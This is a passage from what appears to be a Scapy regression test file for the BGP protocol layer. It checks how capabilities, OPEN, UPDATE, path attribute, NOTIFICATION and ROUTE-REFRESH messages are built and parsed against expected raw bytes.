4294967295)) == b'A\x04\xff\xff\xff\xff' = BGPCapFourBytesASN - Basic dissection c = BGPCapFourBytesASN(b'A\x04\x00\x00\x00\x00') c.code == 65 and c.length == 4 and c.asn == 0 = BGPCapFourBytesASN - Dissection with specific values c = BGPCapFourBytesASN(b'A\x04\xff\xff\xff\xff') c.code == 65 and c.length == 4 and c.asn == 4294967295 ####################### BGPAuthenticationInformation ########################## + BGPAuthenticationInformation class tests = BGPAuthenticationInformation - Instantiation raw(BGPAuthenticationInformation()) == b'\x00' = BGPAuthenticationInformation - Basic dissection c = BGPAuthenticationInformation(b'\x00') c.authentication_code == 0 and not c.authentication_data ################################# BGPOptParam ################################# + BGPOptParam class tests = BGPOptParam - Instantiation raw(BGPOptParam()) == b'\x02\x00' = BGPOptParam - Instantiation with specific values (1) raw(BGPOptParam(param_type = 1)) == b'\x01\x00' raw(BGPOptParam(param_type = 1, param_value = BGPAuthenticationInformation())) == b'\x01\x00' = BGPOptParam - Instantiation with specific values (2) raw(BGPOptParam(param_type = 2)) == b'\x02\x00' = BGPOptParam - Instantiation with specific values (3) raw(BGPOptParam(param_type = 2, param_value = BGPCapFourBytesASN(asn = 4294967295))) == b'\x02\x06A\x04\xff\xff\xff\xff' = BGPOptParam - Instantiation with specific values (4) raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 127))) == b'\x02\x02\x7f\x00' = BGPOptParam - Instantiation with specific values (5) raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 255))) == b'\x02\x02\xff\x00' = BGPOptParam - Basic dissection p = BGPOptParam(b'\x02\x00') p.param_type == 2 and p.param_length == 0 = BGPOptParam - Dissection with specific values p = BGPOptParam(b'\x02\x06A\x04\xff\xff\xff\xff') p.param_type == 2 and p.param_length == 6 and p.param_value[0].code == 65 and p.param_value[0].length == 4 and p.param_value[0].asn == 4294967295 ################################### BGPOpen ################################### + BGPOpen class tests = BGPOpen - Instantiation raw(BGPOpen()) == b'\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00' = BGPOpen - Instantiation with specific values (1) raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1")) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x00' = BGPOpen - Instantiation with specific values (2) opt = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1)) raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1", opt_params = [opt])) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x08\x02\x06\x01\x04\x00\x01\x00\x01' = BGPOpen - Instantiation with specific values (3) cap = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1)) capabilities = [cap] cap = BGPOptParam(param_value = BGPCapability(code = 128)) capabilities.append(cap) cap = BGPOptParam(param_value = BGPCapability(code = 2)) capabilities.append(cap) cap = BGPOptParam(param_value = BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi= 1, flags = 128)])) capabilities.append(cap) cap = BGPOptParam(param_value = BGPCapFourBytesASN(asn = 64503)) capabilities.append(cap) raw(BGPOpen(my_as = 64503, bgp_id = "192.168.100.3", hold_time = 30, opt_params = capabilities)) == b'\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7' = BGPOpen - Dissection with specific values (1) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00?\x01\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7') assert BGPHeader in m and BGPOpen in m assert m.len == 63 assert m.type == BGP.OPEN_TYPE assert m.version == 4 assert m.my_as == 64503 assert m.hold_time == 30 assert m.bgp_id == "192.168.100.3" assert m.opt_param_len == 34 assert isinstance(m.opt_params[0].param_value, BGPCapMultiprotocol) assert isinstance(m.opt_params[1].param_value, BGPCapability) assert isinstance(m.opt_params[2].param_value, BGPCapability) assert isinstance(m.opt_params[3].param_value, BGPCapGracefulRestart) = BGPOpen - Dissection with specific values (2) (followed by a KEEPALIVE) messages = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' m = BGP(messages) raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' = BGPOpen - Dissection with specific values (3) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x01r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x80x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8') assert BGPHeader in m and BGPOpen in m = BGPOpen - Dissection with specific values (4) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x02r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x00x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8') assert BGPHeader in m and BGPOpen in m ################################# BGPPAOrigin ################################# + BGPPAOrigin class tests = BGPPAOrigin - Instantiation raw(BGPPAOrigin()) == b'\x00' = BGPPAOrigin - Instantiation with specific values raw(BGPPAOrigin(origin = 1)) == b'\x01' = BGPPAOrigin - Dissection a = BGPPAOrigin(b'\x00') a.origin == 0 ################################ BGPPAASPath ################################## + BGPPAASPath class tests = BGPPAASPath - Instantiation raw(BGPPAASPath()) == b'' = BGPPAASPath - Instantiation with specific values (1) raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64496, 64497, 64498])])) == b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2' = BGPPAASPath - Instantiation with specific values (2) raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2' = BGPPAASPath - Instantiation with specific values (3) raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498]), BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64500, 64501, 64502, 64502, 64503])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7' = BGPPAASPath - Dissection (1) a = BGPPAASPath(b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2') a.segments[0].segment_type == 2 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] = BGPPAASPath - Dissection (2) a = BGPPAASPath(b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7') a.segments[0].segment_type == 1 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] and a.segments[1].segment_type == 2 and a.segments[1].segment_length == 5 and a.segments[1].segment_value == [64500, 64501, 64502, 64502, 64503] ############################### BGPPANextHop ################################## + BGPPANextHop class tests = BGPPANextHop - Instantiation raw(BGPPANextHop()) == b'\x00\x00\x00\x00' = BGPPANextHop - Instantiation with specific values raw(BGPPANextHop(next_hop = "192.0.2.1")) == b'\xc0\x00\x02\x01' = BGPPANextHop - Basic dissection a = BGPPANextHop(b'\x00\x00\x00\x00') a.next_hop == "0.0.0.0" = BGPPANextHop - Dissection with specific values a = BGPPANextHop(b'\xc0\x00\x02\x01') a.next_hop == '192.0.2.1' ############################ BGPPAMultiExitDisc ############################## + BGPPAMultiExitDisc class tests = BGPPAMultiExitDisc - Instantiation raw(BGPPAMultiExitDisc()) == b'\x00\x00\x00\x00' = BGPPAMultiExitDisc - Instantiation with specific values (1) raw(BGPPAMultiExitDisc(med = 4)) == b'\x00\x00\x00\x04' = BGPPAMultiExitDisc - Basic dissection a = BGPPAMultiExitDisc(b'\x00\x00\x00\x00') a.med == 0 ############################## BGPPALocalPref ################################ + BGPPALocalPref class tests = BGPPALocalPref - Instantiation raw(BGPPALocalPref()) == b'\x00\x00\x00\x00' = BGPPALocalPref - Instantiation with specific values (1) raw(BGPPALocalPref(local_pref = 110)) == b'\x00\x00\x00n' = BGPPALocalPref - Basic dissection a = BGPPALocalPref(b'\x00\x00\x00n') a.local_pref == 110 ############################## BGPPAAggregator ############################### + BGPPAAggregator class tests = BGPPAAggregator - Instantiation raw(BGPPAAggregator()) == b'\x00\x00\x00\x00\x00\x00' = BGPPAAggregator - Instantiation with specific values (1) raw(BGPPAAggregator(aggregator_asn = 64500, speaker_address = "192.0.2.1")) == b'\xfb\xf4\xc0\x00\x02\x01' = BGPPAAggregator - Dissection a = BGPPAAggregator(b'\xfb\xf4\xc0\x00\x02\x01') a.aggregator_asn == 64500 and a.speaker_address == "192.0.2.1" ############################## BGPPACommunity ################################ + BGPPACommunity class tests = BGPPACommunity - Basic instantiation raw(BGPPACommunity()) == b'\x00\x00\x00\x00' = BGPPACommunity - Instantiation with specific value raw(BGPPACommunity(community = 0xFFFFFF01)) == b'\xff\xff\xff\x01' = BGPPACommunity - Dissection a = BGPPACommunity(b'\xff\xff\xff\x01') a.community == 0xFFFFFF01 ############################ BGPPAOriginatorID ############################### + BGPPAOriginatorID class tests = BGPPAOriginatorID - Basic instantiation raw(BGPPAOriginatorID()) == b'\x00\x00\x00\x00' = BGPPAOriginatorID - Instantiation with specific value raw(BGPPAOriginatorID(originator_id = '192.0.2.1')) == b'\xc0\x00\x02\x01' = BGPPAOriginatorID - Dissection a = BGPPAOriginatorID(b'\xc0\x00\x02\x01') a.originator_id == "192.0.2.1" ############################ BGPPAClusterList ################################ + BGPPAClusterList class tests = BGPPAClusterList - Basic instantiation raw(BGPPAClusterList()) == b'' = BGPPAClusterList - Instantiation with specific values raw(BGPPAClusterList(cluster_list = [150000, 165465465, 132132])) == b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$' = BGPPAClusterList - Dissection a = BGPPAClusterList(b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$') a.cluster_list[0] == 150000 and a.cluster_list[1] == 165465465 and a.cluster_list[2] == 132132 ########################### BGPPAMPReachNLRI ############################### + BGPPAMPReachNLRI class tests = BGPPAMPReachNLRI - Instantiation raw(BGPPAMPReachNLRI()) == b'\x00\x00\x00\x00\x00' = BGPPAMPReachNLRI - Instantiation with specific values (1) raw(BGPPAMPReachNLRI(afi=2, safi=1, nh_addr_len=16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")])) == b'\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00' = BGPPAMPReachNLRI - Dissection (1) a = BGPPAMPReachNLRI(b'\x00\x02\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xfe\x80\x00\x00\x00\x00\x00\x00\xc0\x02\x0b\xff\xfe~\x00\x00\x00@ \x01\r\xb8\x00\x02\x00\x02@ \x01\r\xb8\x00\x02\x00\x01@ \x01\r\xb8\x00\x02\x00\x00') a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "2001:db8::2" and a.nh_v6_link_local == "fe80::c002:bff:fe7e:0" and a.reserved == 0 and a.nlri[0].prefix == "2001:db8:2:2::/64" and a.nlri[1].prefix == "2001:db8:2:1::/64" and a.nlri[2].prefix == "2001:db8:2::/64" = BGPPAMPReachNLRI - Dissection (2) a = BGPPAMPReachNLRI(b'\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02') a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "fe80::fac0:100:15de:1581" and a.nh_v6_link_local == "fe80::fac0:100:15de:1581" and a.reserved == 0 and a.nlri[0].prefix == "400::/6" and a.nlri[1].prefix == "800::/5" and raw(a.nlri[18]) == b'`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' and a.nlri[35].prefix == "200::/7" ############################# BGPPAMPUnreachNLRI ############################# + BGPPAMPUnreachNLRI class tests = BGPPAMPUnreachNLRI - Instantiation raw(BGPPAMPUnreachNLRI()) == b'\x00\x00\x00' = BGPPAMPUnreachNLRI - Instantiation with specific values (1) raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1)) == b'\x00\x02\x01' = BGPPAMPUnreachNLRI - Instantiation with specific values (2) raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1, afi_safi_specific = BGPPAMPUnreachNLRI_IPv6(withdrawn_routes = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x00\x02\x01@ \x01\r\xb8\x00\x02\x00\x00' = BGPPAMPUnreachNLRI - Dissection (1) a = BGPPAMPUnreachNLRI(b'\x00\x02\x01') a.afi == 2 and a.safi == 1 = BGPPAMPUnreachNLRI - Dissection (2) a = BGPPAMPUnreachNLRI(b'\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') a.afi == 2 and a.safi == 1 and a.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.afi_safi_specific.withdrawn_routes[11].prefix == "2001::/32" and a.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4" ############################# BGPPAAS4Aggregator ############################# + BGPPAAS4Aggregator class tests = BGPPAAS4Aggregator - Instantiation raw(BGPPAAS4Aggregator()) == b'\x00\x00\x00\x00\x00\x00\x00\x00' = BGPPAAS4Aggregator - Instantiation with specific values raw(BGPPAAS4Aggregator(aggregator_asn = 644566565, speaker_address = "192.0.2.1")) == b'&kN%\xc0\x00\x02\x01' = BGPPAAS4Aggregator - Dissection a = BGPPAAS4Aggregator(b'&kN%\xc0\x00\x02\x01') a.aggregator_asn == 644566565 and a.speaker_address == "192.0.2.1" ############################# BGPPALargeCommunity ############################ + BGPPALargeCommunity class tests = BGPPALargeCommunity - Instantiation raw(BGPPALargeCommunity()) == b'' = BGPPALargeCommunity - Instantiation with specific values raw(BGPPALargeCommunity(segments=BGPLargeCommunitySegment(global_administrator=161,local_data_part1=0,local_data_part2=0))) == b'\x00\x00\x00\xa1\x00\x00\x00\x00\x00\x00\x00\x00' = BGPPALargeCommunity - Dissection a = BGPPALargeCommunity(b'\x00\x00\x00\xa1\x00\x00\x00\x00\x00\x00\x00\x00') a.segments[0].global_administrator == 161 and a.segments[0].local_data_part1 == 0 and a.segments[0].local_data_part2 == 0 ################################ BGPPathAttr ################################# + BGPPathAttr class tests = BGPPathAttr - Instantiation raw(BGPPathAttr()) == b'\x80\x00\x00' = BGPPathAttr - Instantiation with specific values (1) raw(BGPPathAttr(type_code = 1, attribute = BGPPAOrigin(origin = 0))) = BGPPathAttr - Instantiation with specific values (2) raw(BGPPathAttr(type_code = 2, attribute = BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64501, 64501, 64501])]))) == b'\x80\x02\x08\x02\x03\xfb\xf5\xfb\xf5\xfb\xf5' = BGPPathAttr - Instantiation with specific values (3) raw(BGPPathAttr(type_code = 14, attribute = BGPPAMPReachNLRI(afi = 2, safi = 1, nh_addr_len = 16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x80\x0e\x1e\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00' = BGPPathAttr - Dissection (1) a = BGPPathAttr(b'\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') a.type_flags == 0x90 and a.type_code == 15 and a.attr_ext_len == 88 and a.attribute.afi == 2 and a.attribute.safi == 1 and a.attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[1].prefix == "8000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[2].prefix == "a000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[3].prefix == "c000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[4].prefix == "e000::/4" and a.attribute.afi_safi_specific.withdrawn_routes[5].prefix == "f000::/5" and a.attribute.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4" = BGPPathAttr - advanced b = BGPPathAttr(type_code=0x10, attribute=BGPPAExtComms(extended_communities=[ BGPPAExtCommunity(value=BGPPAExtCommTwoOctetASSpecific()), BGPPAExtCommunity(value=BGPPAExtCommIPv4AddressSpecific()), BGPPAExtCommunity(value=BGPPAExtCommFourOctetASSpecific()), BGPPAExtCommunity(value=BGPPAExtCommOpaque()), BGPPAExtCommunity(value=BGPPAExtCommTrafficMarking()), BGPPAExtCommunity(value=BGPPAExtCommRedirectIPv4()), BGPPAExtCommunity(value=BGPPAExtCommRedirectAS4Byte()), ])) b = BGPPathAttr(raw(b)) cls_list = [x.value.__class__ for x in b.attribute.extended_communities] assert cls_list == [BGPPAExtCommTwoOctetASSpecific, BGPPAExtCommIPv4AddressSpecific, BGPPAExtCommFourOctetASSpecific, BGPPAExtCommOpaque, BGPPAExtCommTrafficMarking, BGPPAExtCommRedirectIPv4, BGPPAExtCommRedirectAS4Byte] b.show() ################################# BGPUpdate ################################## + BGPUpdate class tests = BGPUpdate - Instantiation raw(BGPUpdate()) == b'\x00\x00\x00\x00' = BGPUpdate - Dissection (1) bgp_module_conf.use_2_bytes_asn = True m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x000\x02\x00\x19\x18\xc0\xa8\x96\x18\x07\x07\x07\x18\xc63d\x18\xc0\xa8\x01\x19\x06\x06\x06\x00\x18\xc0\xa8\x1a\x00\x00') assert BGPHeader in m and BGPUpdate in m assert m.withdrawn_routes_len == 25 assert m.withdrawn_routes[0].prefix == "192.168.150.0/24" assert m.withdrawn_routes[5].prefix == "192.168.26.0/24" assert m.path_attr_len == 0 = BGPUpdate - Behave like a NEW speaker (RFC 6793) - Dissection (2) bgp_module_conf.use_2_bytes_asn = False m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x02\x00\x00\x00"@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xfa@\x03\x04\xc0\xa8\x10\x06\x80\x04\x04\x00\x00\x00\x00\xc0\x08\x04\xff\xff\xff\x01\x18\xc0\xa8\x01') assert BGPHeader in m and BGPUpdate in m assert m.path_attr[1].attribute.segments[0].segment_value == [64506] assert m.path_attr[4].attribute.community == 0xFFFFFF01 assert m.nlri[0].prefix == "192.168.1.0/24" = BGPUpdate - Dissection (MP_REACH_NLRI) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\xd8\x02\x00\x00\x00\xc1@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xf6\x90\x0e\x00\xb0\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02') assert BGPHeader in m and BGPUpdate in m assert m.path_attr[2].attribute.afi == 2 assert m.path_attr[2].attribute.safi == 1 assert m.path_attr[2].attribute.nh_addr_len == 32 assert m.path_attr[2].attribute.nh_v6_global == "fe80::fac0:100:15de:1581" assert m.path_attr[2].attribute.nh_v6_link_local == "fe80::fac0:100:15de:1581" assert m.path_attr[2].attribute.nlri[0].prefix == "400::/6" assert m.nlri == [] = BGPUpdate - Dissection (MP_UNREACH_NLRI) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00s\x02\x00\x00\x00\\\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') assert BGPHeader in m and BGPUpdate in m assert m.path_attr[0].attribute.afi == 2 assert m.path_attr[0].attribute.safi == 1 assert m.path_attr[0].attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" assert m.nlri == [] = BGPUpdate - Dissection (with BGP Additional Path) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x05\x00\x01\x01\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\xd0\x02\x00\xb9\x00\x00\x00\x02\x00\x00\x00\x00\x04 \n\xe9\x19\xb2\x00\x00\x00\x04 \n\xe9\x19\x90\x00\x00\x00\x04 \n\xe9\x19\x93\x00\x00\x00\x04 \n\xe9\x19\xbb\x00\x00\x00\x04 \n\xe9\x19\x9f\x00\x00\x00\x04 \n\xe9\x19\x8c\x00\x00\x00\x04 \n\xe9\x19\xb1\x00\x00\x00\x04 \n\xe9\x19\x8f\x00\x00\x00\x04 \n\xe9\x19\x98\x00\x00\x00\x04 \n\xe9\x19\x9b\x00\x00\x00\x04 \n\xe9\x19\x8b\x00\x00\x00\x04 \n\xe9\x19\xb3\x00\x00\x00\x04 \n\xe9\x19\x91\x00\x00\x00\x04 \n\xe9\x19\xb6\x00\x00\x00\x04 \n\xe9\x19\x94\x00\x00\x00\x04 \n\xe9\x19\x97\x00\x00\x00\x04 \n\xe9\x19\xbc\x00\x00\x00\x04 \n\xe9\x19\x9d\x00\x00\x00\x04 \n\xe9\x19\xa3\x00\x00\x00\x04 \n\xe9\x19\x84\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x005\x02\x00\x00\x00\x15@\x01\x01\x00@\x02\x00@\x03\x04\n\x16\x0cX@\x05\x04\x00\x00\x00d\x00\x00\x00\x02 \n\xe9\x00\x16\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x05\x00\x01\x02\x01') assert m.withdrawn_routes[0].nlri_path_id == 2 assert len(m.withdrawn_routes) == 21 assert m.withdrawn_routes[-1].sprintf("%prefix%") == "10.233.25.132/32" assert len(m.getlayer(BGPUpdate, 2).path_attr) == 4 assert m.getlayer(BGPUpdate, 2).nlri[0].nlri_path_id == 2 assert m.getlayer(BGPUpdate, 2).nlri[0].sprintf("%prefix%") == "10.233.0.22/32" = BGPUpdate - with BGPHeader p = BGP(raw(BGPHeader()/BGPUpdate())) assert BGPHeader in p and BGPUpdate in p ########## BGPNotification Class ################################### + BGPNotification class tests = BGPNotification - Instantiation raw(BGPNotification()) == b'\x00\x00' = BGPNotification - Dissection (Administratively Reset) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x03\x06\x04') m.type == BGP.NOTIFICATION_TYPE and m.error_code == 6 and m.error_subcode == 4 = BGPNotification - Dissection (Bad Peer AS) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x03\x02\x02\x00\x00') m.type == BGP.NOTIFICATION_TYPE and m.error_code == 2 and m.error_subcode == 2 = BGPNotification - Dissection (Attribute Flags Error) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x19\x03\x03\x04\x80\x01\x01\x00') m.type == BGP.NOTIFICATION_TYPE and m.error_code == 3 and m.error_subcode == 4 ########## BGPRouteRefresh Class ################################### + BGPRouteRefresh class tests = BGPRouteRefresh - Instantiation raw(BGPRouteRefresh()) == b'\x00\x01\x00\x01' = BGPRouteRefresh - Instantiation with specific values raw(BGPRouteRefresh(afi = 1, safi = 1)) == b'\x00\x01\x00\x01' = BGPRouteRefresh - Dissection (1) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x05\x00\x02\x00\x01') m.type == BGP.ROUTEREFRESH_TYPE and m.len == 23 and m.afi == 2 and m.subtype == 0 and m.safi == 1 = BGPRouteRefresh - Dissection (2) - With ORFs m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00.\x05\x00\x01\x00\x01\x01\x80\x00\x13 \x00\x00\x00\x05\x18\x18\x15\x01\x01\x00\x00\x00\x00\x00\n\x00 \x00') assert m.type == BGP.ROUTEREFRESH_TYPE assert m.len == 46 assert m.afi == 1 assert m.subtype == 0 assert m.safi == 1 assert m.orf_data[0].when_to_refresh == 1 assert m.orf_data[0].orf_type == 128 assert m.orf_data[0].orf_len == 19 assert 